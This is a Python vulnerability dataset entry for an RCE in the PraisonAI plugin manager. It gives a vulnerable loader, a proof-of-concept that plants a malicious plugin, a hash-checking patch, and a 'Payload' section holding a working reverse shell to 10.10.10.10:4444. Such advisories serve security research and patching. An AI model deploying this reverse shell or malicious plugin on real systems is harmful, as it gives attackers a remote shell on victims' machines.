CVE-2026-61446
RCE in PraisonAI plugin manager via insecure loading of Python files.
- CVSS 8.6
- CWE-94
- Design Defects
- Remote
PraisonAI (praisonaiagents) before 1.6.78 contains a remote code execution vulnerability in the plugin manager, which loads and executes arbitrary Python (.py) files from project-level and user-home .praisonai/plugins/ directories using importlib spec_from_file_location() and exec_module() without code signing, integrity verification, or sandboxing. An attacker who can write a malicious .py file to a plugin directory (for example via path traversal, a supply chain attack, or a compromised dependency) achieves arbitrary code execution when the plugin system initializes.
- CWE
- CWE-94
- CVSS base score
- 8.6
- Published
- 2026-07-15
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- DLL Loading Issues
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- PraisonAI
- Fixed by upgrading
- Yes
Solution
Upgrade PraisonAI to version 1.6.78 or later.
Vulnerable code sample
import os
import importlib.util
import shutil
def load_plugins_from_directory(plugin_dir):
"""
Loads all .py files from a given directory as plugins.
This function is vulnerable because it executes any code found.
"""
if not os.path.isdir(plugin_dir):
return
for filename in os.listdir(plugin_dir):
if filename.endswith(".py") and not filename.startswith("__"):
plugin_path = os.path.join(plugin_dir, filename)
module_name = f"praisonai.loaded_plugins.{filename[:-3]}"
try:
# Create a module spec from the file's location
spec = importlib.util.spec_from_file_location(module_name, plugin_path)
if spec and spec.loader:
# Create a new module from the spec
plugin_module = importlib.util.module_from_spec(spec)
# Execute the module's code, running whatever is in the file
spec.loader.exec_module(plugin_module)
print(f"[INFO] Successfully loaded plugin: {filename}")
else:
print(f"[WARN] Could not create spec for plugin: {filename}")
except Exception as e:
print(f"[ERROR] Failed to load plugin {filename}: {e}")
def initialize_plugin_system():
"""
Simulates the main application entry point that initializes the plugin system.
It scans both project-level and user-home directories.
"""
print("[INFO] Initializing PraisonAI plugin system...")
# Define plugin directories (project-level and user-home)
project_plugins_path = os.path.join(os.getcwd(), ".praisonai", "plugins")
user_plugins_path = os.path.join(os.path.expanduser("~"), ".praisonai", "plugins")
# Load plugins from all defined directories
load_plugins_from_directory(project_plugins_path)
load_plugins_from_directory(user_plugins_path)
# --- Proof-of-Concept Simulation ---
if __name__ == "__main__":
# 1. Simulate an attacker creating a malicious plugin file.
# This could happen via path traversal, a compromised dependency, etc.
print("[ATTACK] Simulating attacker action...")
# Create the vulnerable directory structure
poc_plugin_dir = os.path.join(os.getcwd(), ".praisonai", "plugins")
os.makedirs(poc_plugin_dir, exist_ok=True)
malicious_plugin_path = os.path.join(poc_plugin_dir, "malicious_plugin.py")
# The malicious code to be executed
malicious_code = """
import os
print("\\n" + "="*50)
print("!!! VULNERABILITY TRIGGERED: RCE in malicious_plugin.py !!!")
print("!!! Executing 'echo PWNED' as a proof of concept. !!!")
os.system("echo PWNED")
print("="*50 + "\\n")
"""
with open(malicious_plugin_path, "w") as f:
f.write(malicious_code)
print(f"[ATTACK] Malicious plugin written to: {malicious_plugin_path}")
# 2. Simulate the legitimate application starting up and loading plugins.
print("\n[APP] Application is starting...")
initialize_plugin_system()
# 3. Clean up the created files and directories
print("\n[CLEANUP] Removing simulation artifacts...")
shutil.rmtree(os.path.join(os.getcwd(), ".praisonai"))
print("[CLEANUP] Done.")Patched code sample
import os
import hashlib
import importlib.util
from pathlib import Path
# In a real application, this manifest would be securely generated and distributed
# with the application, containing hashes of all official, trusted plugins.
# An attacker cannot add a file to this manifest without compromising the
# entire application distribution process.
TRUSTED_PLUGIN_MANIFEST = {
# "plugin_filename.py": "expected_sha256_hash"
"official_plugin.py": "a3a216834151a6654c60081d43d3b8fd376935c345b53e74678b877209938743"
}
def calculate_sha256(filepath: Path) -> str:
"""Calculates the SHA-256 hash of a file."""
sha256_hash = hashlib.sha256()
with open(filepath, "rb") as f:
# Read and update hash in chunks to handle large files
for byte_block in iter(lambda: f.read(4096), b""):
sha256_hash.update(byte_block)
return sha256_hash.hexdigest()
def load_plugins_securely(plugin_dir: Path):
"""
Loads plugins from a directory only after verifying their integrity
against a pre-defined manifest of trusted plugin hashes.
This prevents the execution of arbitrary, untrusted, or tampered code.
"""
if not plugin_dir.is_dir():
return
for filepath in plugin_dir.glob("*.py"):
filename = filepath.name
# --- FIX: Integrity and Authenticity Check ---
# 1. Check if the plugin is listed in the trusted manifest.
# This prevents loading arbitrary files dropped into the directory.
if filename not in TRUSTED_PLUGIN_MANIFEST:
print(f"[SECURITY WARNING] Ignoring untracked plugin file: {filename}")
continue
# 2. Verify the file's hash to ensure it has not been tampered with.
expected_hash = TRUSTED_PLUGIN_MANIFEST[filename]
actual_hash = calculate_sha256(filepath)
if actual_hash != expected_hash:
print(f"[CRITICAL SECURITY ALERT] Execution of tampered plugin blocked: {filename}")
print(f" Reason: Hash mismatch. The file content has been modified.")
continue
# --- End of Fix ---
# If all security checks pass, proceed to load the module.
print(f"[INFO] Integrity verified. Loading trusted plugin: {filename}")
try:
spec = importlib.util.spec_from_file_location(filename, filepath)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
except Exception as e:
print(f"[ERROR] Failed to load plugin {filename}: {e}")Payload
import socket
import subprocess
import os
RHOST = "10.10.10.10"
RPORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
Cite this entry
@misc{vaitp:cve202661446,
title = {{RCE in PraisonAI plugin manager via insecure loading of Python files.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-61446},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-61446/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
